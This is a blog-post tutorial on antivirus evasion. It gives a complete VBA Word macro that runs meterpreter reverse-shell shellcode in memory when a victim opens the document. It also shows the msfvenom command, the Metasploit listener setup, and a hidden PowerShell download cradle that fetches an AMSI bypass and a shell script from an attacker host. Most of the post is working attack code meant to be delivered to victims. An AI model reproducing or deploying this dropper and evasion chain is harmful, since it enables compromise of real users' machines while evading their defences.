Running ShellCode in Memory | AV Evasion – VBA Version

If you try to download an executable to get a reverse shell on a system, it most likely will be detected and blocked by either host-based network monitoring system or AV/EDR sweeps it off, so this post we will discuss how to be stealthier and execute shell code in memory.

For the sake of this example, I am going to use a word macro as a dropper to do this.

Although it may seem complicated, all we need to do is:

1) Use something to allocate unmanaged memory

2) Copy our shell code into our allocated memory from step 1

3) Create execution thread

I have gone about doing these two ways:

1) Using VBA

2) Using Powershell

In this post, we will discuss how we can get this to work with VBA:

For this, we will use win32 APIs from kernal32.dll:

1) VirtualAlloc

2) RtlMemory

3) CreateThread

Let’s just be optimistic and generate our shellcode using msfvenom:

msfvenom -p windows/meterpreter/reverse_http LHOST=x.x.x.x LPORT=443 EXITFUNC=thread -f vbapplication

Couple of things to note here:

a) We are using 32bit arc for the meterpreter shell since MS word by default runs on 32-bit Arc

b) We are using “thread” as exit func instead of “process” to avoid our MS word getting terminated when shell exits

Read the MSDN docs to understand how the function used works:

1) VirtualAlloc

2) rtlmovememory

3) Create Thread

The whole VBS looks like this:

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long

buf = Array(insert shell code here)

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)

End Function

Sub Document_Open()
MyMacro
End Sub

Sub AutoOpen()
MyMacro
End Sub

Once you have this, save the word document in macro format such as .doc or .docm

Set up the listener:

set payload windows/meterpreter/reverse_http
set LHOST x.x.x.x
set LPORT 443
set EXITFUNC thread
set set ReverseListenerBindAddress <internal IP>
exploit

Once, the victim opens the macro document the shell code runs in memory and we get a reverse shell:

Now this is a low-profile technique, but there are some issues with this:

1) The shell code present in word document which is saved on hard drive might get detected by the AV

2) Whenever the word file is closed the session get terminated since the SPAWNED process is a child of word file.

How can we improve these and make things more efficient?

I will write up on this in a different post, but I will give the folks reading this post a chance to try it for themselves, so here are some clues:

1) Use Powershell for this, Powershell cannot interact with win32 API directly, so use C# with the help of .NET framework (DllImportAttribute class).

2) Use P/Invoke APIs contained in the System.Runtime.InteropServices and System namespaces (changing C to C# datatype)

Ref: P/Invoke

3) Now use Add-Type in PowerShell to compile and create object

Reference: Add-Type Example

4) Use .NET Copy method to copy the shellcode into memory

5) Finally, before running the shell code in memory make sure to use an AMSI bypass to run first (use PowerShell download cradle)

Something like this:

Sub ShellCodeRunner() 

Dim str As String
  
str = "powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X/AmsiBypass.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X/Shell.ps1')"
Shell str, vbHide End Sub

You just need to craft the content of shell.ps1 as your homework :)

Proof of Concept: Evading Anti-Virus

Written on August 13, 2021